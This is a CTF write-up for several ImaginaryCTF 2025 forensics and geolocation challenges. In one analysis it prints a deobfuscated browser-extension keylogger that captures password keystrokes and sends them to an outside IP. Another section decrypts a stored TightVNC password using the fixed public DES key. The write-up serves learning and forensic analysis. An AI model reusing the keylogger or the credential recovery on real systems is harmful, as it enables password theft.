---
# System prepended metadata

title: ImaginaryCTF 2025

---

> This is my writeups for solved challenges in ImaginaryCTF 2025

# Forensics

## wave (100pts)

Description: not a steg challenge i promise

Attachments: wave.wav

This challenge gave us a wav file, but I cannot open it like wav file work.

Let check some bytes of it. Flag is hidden in metadata.

![image](https://hackmd.io/_uploads/HJbyjcc5xl.png)

**FLAG: ictf{obligatory_metadata_challenge}**

## thrift-store (100pts)

**Description**: The frontend has gone down but the store is still open, can you buy the flag?
thrift-store.chal.imaginaryctf.org:9090

Attachments: capture.pcap

Pcap file contains `THRIFT` protocol connections.

![3ad80f47-be55-4c18-80ac-d31718a166e5](https://hackmd.io/_uploads/SkDniqqqex.png)

Some details is here https://wiki.wireshark.org/Thrift

Wireshark shows that this is Thrift Strict Binary (header 0x80010001) and the server uses Framed transport.

Look at all requests and responses once, I firgure out that RPCs include:
- createBasket() — no parameters, REPLY returns success as STRUCT containing field 1: binary = basket_id (UUID).
- addToBasket(1: binary basket_id, 2: binary item) — returns void.

- getBasket(1: binary basket_id) — returns list; on real server it can be list<binary> or wrapped in struct.
- getInventory() — returns list<struct>; each struct has strings (sku, name, desc) and an integer price (cent).
- pay(1: binary basket_id, 2: i64 total) — returns string (when correct total, flag is returned).

> note: all text parameters/values are binary, not unicode `strings`. If the wrong type/protocol/transport is sent, the server will close the socket immediately → “TSocket read 0 bytes”.

Easy to see the flow when follow tcp streams.

![image](https://hackmd.io/_uploads/SyiNEsq5le.png)

    
Work idea: this challenge looks like shopping, that we would go to inventory, pick basket and pay for flag. The pcap file shows the example how server works, so our mission is create a client that can do interaction with the server and get the flag.
    
After research about Thrift protocol, to connect with server using it, we first need to know the datatype of all functions was used and through it, create an IDL matching server.
    
Here is my `store.thrift`:
```
service Store {
  binary createBasket(),
  void addToBasket(1:binary basket_id, 2:binary item),
  list<binary> getBasket(1:binary basket_id),
  list<struct {
    1: binary sku,
    2: binary name,
    3: binary desc,
    4: i32 price
  }> getInventory(),
  string pay(1:binary basket_id, 2:i64 total),
}
```
    
**Write the client to match exactly**
- Connect using **TFramedTransport + TBinaryProtocol(strictWrite=true)**.
- For `binary` fields, use `writeBinary` / `readBinary` (don't use writeString randomly).
- Parse `createBasket` according to the nested STRUCT layout: result.success is a struct and field 1 is the binary id.

**The flag "buy" process**
- `getInventory()` to get the price list. (Prints out ~16 products; the list includes a `flag` with **price = 9999** cents)
- `createBasket()` gets `basket_id`.
- `addToBasket(basket_id, "flag")` adds the flag item to the basket.
- (Optional) `getBasket(basket_id)` will show ['flag'] – this is just the item name, not the flag.
- Calculate `total = 9999` according to inventory.
- `pay(basket_id, 9999)` → server returns success message containing real flag:
**ictf{l1k3_gRPC_bUt_l3ss_g0ogly}**.
    
My client source client_thrift_pay.py:
```python!
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Thrift client
Transport: TFramedTransport
Protocol : TBinaryProtocol (strict write)
RPCs supported: createBasket, addToBasket, getBasket, getInventory, pay
"""

import sys
from thrift.transport import TSocket, TTransport
from thrift.protocol import TBinaryProtocol
from thrift.Thrift import TType, TMessageType

HOST, PORT = "thrift-store.chal.imaginaryctf.org", 9090

def as_text(x):
    return x.decode("utf-8", "replace") if isinstance(x, (bytes, bytearray)) else str(x)

# ---------------- Writers ----------------
def write_createBasket(p, seq=0):
    p.writeMessageBegin("createBasket", TMessageType.CALL, seq)
    p.writeStructBegin("createBasket_args")
    p.writeFieldStop()
    p.writeStructEnd()
    p.trans.flush()

def write_addToBasket(p, basket_id: bytes, item: bytes, seq=1):
    p.writeMessageBegin("addToBasket", TMessageType.CALL, seq)
    p.writeStructBegin("addToBasket_args")
    p.writeFieldBegin("basket_id", TType.STRING, 1)   # binary on-wire == STRING
    p.writeBinary(basket_id)
    p.writeFieldEnd()
    p.writeFieldBegin("item", TType.STRING, 2)
    p.writeBinary(item)
    p.writeFieldEnd()
    p.writeFieldStop()
    p.writeStructEnd()
    p.trans.flush()

def write_getBasket(p, basket_id: bytes, seq=2):
    p.writeMessageBegin("getBasket", TMessageType.CALL, seq)
    p.writeStructBegin("getBasket_args")
    p.writeFieldBegin("basket_id", TType.STRING, 1)
    p.writeBinary(basket_id)
    p.writeFieldEnd()
    p.writeFieldStop()
    p.writeStructEnd()
    p.trans.flush()

def write_getInventory(p, seq=3):
    p.writeMessageBegin("getInventory", TMessageType.CALL, seq)
    p.writeStructBegin("getInventory_args")
    p.writeFieldStop()
    p.writeStructEnd()
    p.trans.flush()

def write_pay(p, basket_id: bytes, total: int, seq=900):
    p.writeMessageBegin("pay", TMessageType.CALL, seq)
    p.writeStructBegin("pay_args")
    p.writeFieldBegin("basket_id", TType.STRING, 1)
    p.writeBinary(basket_id)
    p.writeFieldEnd()
    p.writeFieldBegin("total", TType.I64, 2)  # i64 an toàn
    p.writeI64(total)
    p.writeFieldEnd()
    p.writeFieldStop()
    p.writeStructEnd()
    p.trans.flush()

# ---------------- Readers & helpers ----------------
def read_void_reply(p, expect_name: str):
    name, mtype, seqid = p.readMessageBegin()
    assert name == expect_name and mtype == TMessageType.REPLY
    p.readStructBegin()
    _fname, ftype, fid = p.readFieldBegin()
    assert ftype == TType.STOP
    p.readStructEnd()
    p.readMessageEnd()

def read_createBasket_reply(p) -> bytes:
    name, mtype, seqid = p.readMessageBegin()
    assert name == "createBasket" and mtype == TMessageType.REPLY
    p.readStructBegin()  # createBasket_result
    _fname, ftype, fid = p.readFieldBegin()
    # success = STRUCT { 1: STRING(binary) }  (theo PCAP/server)
    assert ftype == TType.STRUCT and fid in (0, 1)
    p.readStructBegin()
    _fname2, ftype2, fid2 = p.readFieldBegin()
    assert ftype2 == TType.STRING and fid2 == 1
    basket_id = p.readBinary()
    p.readFieldEnd()
    _fname2, ftype2, fid2 = p.readFieldBegin()
    assert ftype2 == TType.STOP
    p.readStructEnd()
    p.readFieldEnd()
    _fname, ftype, fid = p.readFieldBegin()
    assert ftype == TType.STOP
    p.readStructEnd()
    p.readMessageEnd()
    return basket_id

def skip_field(p, ftype):
    if ftype == TType.BOOL:    p.readBool()
    elif ftype == TType.BYTE:  p.readByte()
    elif ftype == TType.I16:   p.readI16()
    elif ftype == TType.I32:   p.readI32()
    elif ftype == TType.I64:   p.readI64()
    elif ftype == TType.DOUBLE:p.readDouble()
    elif ftype == TType.STRING:_ = p.readBinary()
    elif ftype == TType.LIST:
        et, n = p.readListBegin()
        for _ in range(n):
            if et == TType.STRING: _ = p.readBinary()
            elif et == TType.I32:  _ = p.readI32()
            elif et == TType.I64:  _ = p.readI64()
            elif et == TType.STRUCT:
                p.readStructBegin()
                while True:
                    _fn, ft, _fid = p.readFieldBegin()
                    if ft == TType.STOP: break
                    skip_field(p, ft); p.readFieldEnd()
                p.readStructEnd()
            else:
                pass
        p.readListEnd()
    elif ftype == TType.STRUCT:
        p.readStructBegin()
        while True:
            _fn, ft, _fid = p.readFieldBegin()
            if ft == TType.STOP: break
            skip_field(p, ft); p.readFieldEnd()
        p.readStructEnd()
    elif ftype == TType.MAP:
        kt, vt, n = p.readMapBegin()
        for _ in range(n):
            skip_field(p, kt); skip_field(p, vt)
        p.readMapEnd()
    elif ftype == TType.SET:
        et, n = p.readSetBegin()
        for _ in range(n): skip_field(p, et)
        p.readSetEnd()

def read_getBasket_reply(p):
    name, mtype, seqid = p.readMessageBegin()
    assert name == "getBasket" and mtype == TMessageType.REPLY
    p.readStructBegin()  # getBasket_result
    items = []
    _fname, ftype, fid = p.readFieldBegin()

    if ftype == TType.LIST:
        et, n = p.readListBegin()
        if et == TType.STRING:
            items = [as_text(p.readBinary()) for _ in range(n)]
        elif et == TType.STRUCT:
            for _ in range(n):
                p.readStructBegin()
                collected = []
                while True:
                    _fn3, ft3, fid3 = p.readFieldBegin()
                    if ft3 == TType.STOP: break
                    if ft3 == TType.STRING:
                        collected.append(as_text(p.readBinary()))
                    else:
                        skip_field(p, ft3)
                    p.readFieldEnd()
                p.readStructEnd()
                items.append(" | ".join(collected) if collected else "<struct>")
        else:
            for _ in range(n): skip_field(p, et)
        p.readListEnd(); p.readFieldEnd()

    elif ftype == TType.STRUCT:
        p.readStructBegin()
        while True:
            _fn2, ft2, fid2 = p.readFieldBegin()
            if ft2 == TType.STOP: break
            if ft2 == TType.LIST:
                et, n = p.readListBegin()
                if et == TType.STRING:
                    items += [as_text(p.readBinary()) for _ in range(n)]
                elif et == TType.STRUCT:
                    for _ in range(n):
                        p.readStructBegin()
                        collected = []
                        while True:
                            _fn3, ft3, fid3 = p.readFieldBegin()
                            if ft3 == TType.STOP: break
                            if ft3 == TType.STRING:
                                collected.append(as_text(p.readBinary()))
                            else:
                                skip_field(p, ft3)
                            p.readFieldEnd()
                        p.readStructEnd()
                        items.append(" | ".join(collected) if collected else "<struct>")
                else:
                    for _ in range(n): skip_field(p, et)
                p.readListEnd(); p.readFieldEnd()
            else:
                skip_field(p, ft2); p.readFieldEnd()
        p.readStructEnd(); p.readFieldEnd()

    elif ftype == TType.STRING:
        items = [as_text(p.readBinary())]; p.readFieldEnd()

    _fname, ftype, fid = p.readFieldBegin()
    assert ftype == TType.STOP
    p.readStructEnd()
    p.readMessageEnd()
    return items

def read_getInventory_reply(p):
    name, mtype, seqid = p.readMessageBegin()
    assert name == "getInventory" and mtype == TMessageType.REPLY
    p.readStructBegin()

    entries = []  # each entry -> dict {"strings":[...], "ints":[...]}
    _fname, ftype, fid = p.readFieldBegin()

    def read_row_struct():
        p.readStructBegin()
        row_s, row_i = [], []
        while True:
            _fn, ft, _fid = p.readFieldBegin()
            if ft == TType.STOP: break
            if ft == TType.STRING:
                row_s.append(as_text(p.readBinary()))
            elif ft == TType.I32:
                row_i.append(p.readI32())
            elif ft == TType.I64:
                row_i.append(p.readI64())
            else:
                skip_field(p, ft)
            p.readFieldEnd()
        p.readStructEnd()
        return {"strings": row_s, "ints": row_i}

    if ftype == TType.LIST:
        et, n = p.readListBegin()
        if et == TType.STRUCT:
            for _ in range(n):
                entries.append(read_row_struct())
        elif et == TType.STRING:
            for _ in range(n):
                entries.append({"strings":[as_text(p.readBinary())], "ints":[]})
        else:
            for _ in range(n): skip_field(p, et)
        p.readListEnd(); p.readFieldEnd()

    elif ftype == TType.STRUCT:
        p.readStructBegin()
        while True:
            _fn2, ft2, fid2 = p.readFieldBegin()
            if ft2 == TType.STOP: break
            if ft2 == TType.LIST:
                et, n = p.readListBegin()
                if et == TType.STRUCT:
                    for _ in range(n):
                        entries.append(read_row_struct())
                elif et == TType.STRING:
                    for _ in range(n):
                        entries.append({"strings":[as_text(p.readBinary())], "ints":[]})
                else:
                    for _ in range(n): skip_field(p, et)
                p.readListEnd(); p.readFieldEnd()
            else:
                skip_field(p, ft2); p.readFieldEnd()
        p.readStructEnd(); p.readFieldEnd()

    elif ftype == TType.STRING:
        entries.append({"strings":[as_text(p.readBinary())], "ints":[]})
        p.readFieldEnd()

    _fname, ftype, fid = p.readFieldBegin()
    assert ftype == TType.STOP
    p.readStructEnd()
    p.readMessageEnd()
    return entries

def read_pay_reply(p) -> str:
    name, mtype, seqid = p.readMessageBegin()
    assert name == "pay" and mtype == TMessageType.REPLY
    p.readStructBegin()
    _fname, ftype, fid = p.readFieldBegin()
    msg = ""
    if ftype == TType.STRING:
        msg = as_text(p.readBinary())
        p.readFieldEnd()
    elif ftype == TType.STRUCT:
        p.readStructBegin()
        parts = []
        while True:
            _fn, ft, _fid = p.readFieldBegin()
            if ft == TType.STOP: break
            if ft == TType.STRING:
                parts.append(as_text(p.readBinary()))
            else:
                skip_field(p, ft)
            p.readFieldEnd()
        p.readStructEnd()
        p.readFieldEnd()
        msg = " ".join(parts)
    elif ftype == TType.STOP:
        msg = ""
    _fname, ftype, fid = p.readFieldBegin()
    assert ftype == TType.STOP
    p.readStructEnd()
    p.readMessageEnd()
    return msg

# ---------------- Main flow ----------------
def main():
    items_wanted = sys.argv[1:] or ["flag"]

    sock = TSocket.TSocket(HOST, PORT)
    trans = TTransport.TFramedTransport(sock)  # server: FRAMED + BINARY
    proto = TBinaryProtocol.TBinaryProtocol(trans, strictRead=False, strictWrite=True)
    trans.open()

    # (A) inventory -> sku->price
    write_getInventory(proto, seq=0)
    inv = read_getInventory_reply(proto)

    price = {}  # sku -> int(cents)
    catalog = []  # list pretty for printing
    for row in inv:
        s = row.get("strings", []) if isinstance(row, dict) else []
        ints = row.get("ints", []) if isinstance(row, dict) else []
        if not s:
            continue
        sku = s[0]
        pval = ints[0] if ints else None
        if pval is not None:
            price[sku] = pval
        # build pretty line
        name = s[1] if len(s) > 1 else ""
        desc = s[2] if len(s) > 2 else ""
        catalog.append((sku, name, desc, pval))

    print(f"[+] inventory entries: {len(catalog)}")
    for i, (sku, name, desc, pval) in enumerate(catalog, 1):
        pv = f"{pval}" if pval is not None else "?"
        print(f"  {i:2d}. {sku:22s} | {name:24s} | price={pv} | {desc[:60]}")

    # (B) create basket & add items
    write_createBasket(proto, seq=100)
    basket = read_createBasket_reply(proto)
    print("[+] basket_id:", as_text(basket))

    for idx, it in enumerate(items_wanted, 1):
        write_addToBasket(proto, basket, it.encode(), seq=100+idx)
        read_void_reply(proto, "addToBasket")
        print(f"[+] added '{it}'")

    # (C) show basket
    write_getBasket(proto, basket, seq=200)
    items = read_getBasket_reply(proto)
    print("[+] basket items:", items)

    # (D) compute total & pay
    total = 0
    unknown = []
    for it in items:
        if it in price:
            total += price[it]
        else:
            unknown.append(it)

    print(f"[+] computed total (known items): {total} (cents), unknown items: {unknown}")

    try_candidates = []
    if items and all(it in unknown for it in items):
        try_candidates = [0]
    else:
        try_candidates = [total]

    for t in try_candidates:
        write_pay(proto, basket, t, seq=300)
        msg = read_pay_reply(proto)
        print(f"[+] pay({t}) → {msg}")
        if any(tag in msg for tag in ("ictf{", "flag{", "CTF{")):
            print("\n=== FLAG ===")
            print(msg)
            print("============")
            break

    trans.close()

if __name__ == "__main__":
    main()

```
    
![image](https://hackmd.io/_uploads/rk3fB295lx.png)

**FLAG: ictf{l1k3_gRPC_bUt_l3ss_g0ogly}**

## obfuscated-1 (100pts)
    
**Description:** I installed every old software known to man... The flag is the VNC password, wrapped in ictf{}.
    
Attachments: Users.zip
    
The zip file is an user folder, so we can consider it as a file system image.
    
![image](https://hackmd.io/_uploads/S1FUIo5qxe.png)

Open it with FTK Imager.
    
![Screenshot 2025-09-06 172859](https://hackmd.io/_uploads/rkW58s9cxe.png)

In Downloads, there are some suspicous file, a tightvnc-..., a putty installer and cuteftp50.exe. The description told us that the flag is VNC password so we need to know how tightvnc saves its password.
    
A post shows us that VNC password was saved in registry `HKEY_CURRENT_USER\Software\TightVNC\Server`
![image](https://hackmd.io/_uploads/SJWDPsq5xl.png)

To read the registry, we need `NTUSER.DAT` file, and it is in rumi folder. Use Registry Viewer.
    
![Screenshot 2025-09-06 174932](https://hackmd.io/_uploads/HJ72wic9le.png)

The password was in hex type and was encrypted (DES, 8 byte - it was public with DES key)

Write a decryptor or you can just use this script https://github.com/trinitronx/vncpasswd.py

My bash script:
    
```bash!
echo '7e9b311248b7c8a8' \
| xxd -r -p \
| openssl enc -des-ecb -d -nopad -nosalt -K e84ad660c4721ae0
```
![Screenshot 2025-09-06 175511](https://hackmd.io/_uploads/rkhRdi55xg.png)

**FLAG: ictf{Slay4U!!}**
    
## x-tension (100pts)
    
**Description:** Trying to get good at something while watching youtube isn't the greatest idea...

**Attachments:** chal.pcapng
    
![image](https://hackmd.io/_uploads/r1Qgco5cee.png)

As decription, the pcap contains many transmission protocols from UDP, TCP, QUIC for video content. Therefore, those are trying to noise us.
    
![image](https://hackmd.io/_uploads/HJ6n9o55el.png)

Look at Protocol Hierarchy Statistic, we found some suspicous HTTP.

![image](https://hackmd.io/_uploads/rycEijcqlx.png)

We got `FunnyCatPicsExtension.crx` and a lot request GET with parameter `?t=`
    
Download and analyze `FunnyCatPicsExtension.crx`: it is not a common crx file, it is embedded something inside.
    
![Screenshot 2025-09-07 093918](https://hackmd.io/_uploads/SJT6io5qgx.png)

`content.js` and `manifest.json`, why were they hidden in there?
    
![Screenshot 2025-09-07 093952](https://hackmd.io/_uploads/rJ_Roj5cgl.png)

The content.js was obfuscated, that was super suspicous, like a malware.
    
Try to read and deobfuscate, combine with manifest.json, we concluse:
- manifest.json use `host_permissions: ["<all_urls>"]` + `content_scripts.matches: ["<all_urls>"]` to inject `content.js` to all page you open. `run_at: "document_idle` to run `content.js` when download completely.
- `content.js` listen `keydown` when page has input field `type=="password"`. Each character was imported, programm XOR 1-byte (UTC minute) → encode 2 hex → fetch into `http://192.9.137.137:42552/?t=hex`
    
=> This is **password keylogger**
    
Content.js after deobfuscated:
```javascript=
function getKey() {
  const m = new Date().getUTCMinutes();           // 0..59
  return String.fromCharCode(m + 0x20);           // key 1 byte (0x20..0x5B)
}

function xorEncrypt(s, key) {
  let out = "";
  const k = key.charCodeAt(0);
  for (let i = 0; i < s.length; i++) {
    const x = s.charCodeAt(i) ^ k;                // XOR each char
    out += x.toString(16).padStart(2, "0");       // to 2 hex
  }
  return out;
}

document.addEventListener("keydown", (ev) => {
  const el = ev.target;
  if (el.type === "password") {
    const ch = ev.key.length === 1 ? ev.key : ""; // one char
    if (ch) {
      const enc = xorEncrypt(ch, getKey());
      const q = encodeURIComponent(enc);
      fetch("http://192.9.137.137:42552/?t=" + q); // exfiltration
    }
  }
});
```
    
Oke, next we try to recover the data was sent. We need the cipher char and the time it was encrypt.
    
1. Export the data with tshark:
```bash=
tshark -r capture.pcap \
  -Y 'http.request && ip.dst==192.9.137.137 && tcp.dstport==42552 && http.request.uri contains "t="' \
  -T fields -E separator=, \
  -e frame.time_epoch -e http.request.uri.query > leaks.csv
```
    
![Screenshot 2025-09-07 093852](https://hackmd.io/_uploads/SJd3Ao95gl.png)

2. Decode
    
```python=
# decode_leak.py
import sys, csv, re
from datetime import datetime, timezone

def utc_minute(epoch_float):
    return datetime.fromtimestamp(epoch_float, tz=timezone.utc).minute

def decode_char(epoch_str, query):
    m = re.search(r't=([0-9a-fA-F]{2})', query)
    if not m: return None
    b = int(m.group(1), 16)
    k = (utc_minute(float(epoch_str)) + 0x20) & 0xFF
    return chr(b ^ k)

def main(path):
    out = []
    with open(path, newline='') as f:
        for epoch, query in csv.reader(f):
            ch = decode_char(epoch, query)
            if ch is not None:
                out.append(ch)
    print("".join(out))

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python3 decode_leak.py leaks.csv"); sys.exit(1)
    main(sys.argv[1])
```
    
![Screenshot 2025-09-07 093902](https://hackmd.io/_uploads/rJIW1h95ee.png)

**FLAG: ictf{extensions_might_just_suck}**
    
# MISC
    
## significant (100pts)
    
**Description**: The signpost knows where it is at all times. It knows this because it knows where it isn't, by subtracting where it is, from where it isn't, or where it isn't, from where it is, whichever is greater. Consequently, the position where it is, is now the position that it wasn't, and it follows that the position where it was, is now the position that it isn't.

Please find the coordinates (lat, long) of this signpost to the nearest 3 decimals, separated by a comma with no space. Ensure that you are rounding and not truncating before you make a ticket. Example flag: ictf{-12.345,6.789}

![significant](https://hackmd.io/_uploads/r1_c13qcxe.jpg)

Use google lens, we can found that this is in San Francisco. It is **"Sister Cities of San Francisco Sign"**.
    
**FLAG: ictf{37.785,-122.408}**
    
## zoom (100pts)
    
**Description**
Where in the world is the red dot?

Format: ictf{lat,long} rounded to three decimal places. example: ictf{12.345,-67.890}
    
![beavertail](https://hackmd.io/_uploads/SJgtZ255eg.png)

GPT is now strong in identifying place
    
![image](https://hackmd.io/_uploads/rJM0Wn5qgg.png)

![image](https://hackmd.io/_uploads/r11Jf395lx.png)

The coordinates it give is not exactly, but nearby.
    
![Screenshot 2025-09-06 190345](https://hackmd.io/_uploads/SJ1KGn5clx.jpg)

**FLAG: ictf{45.282,-75.795}**

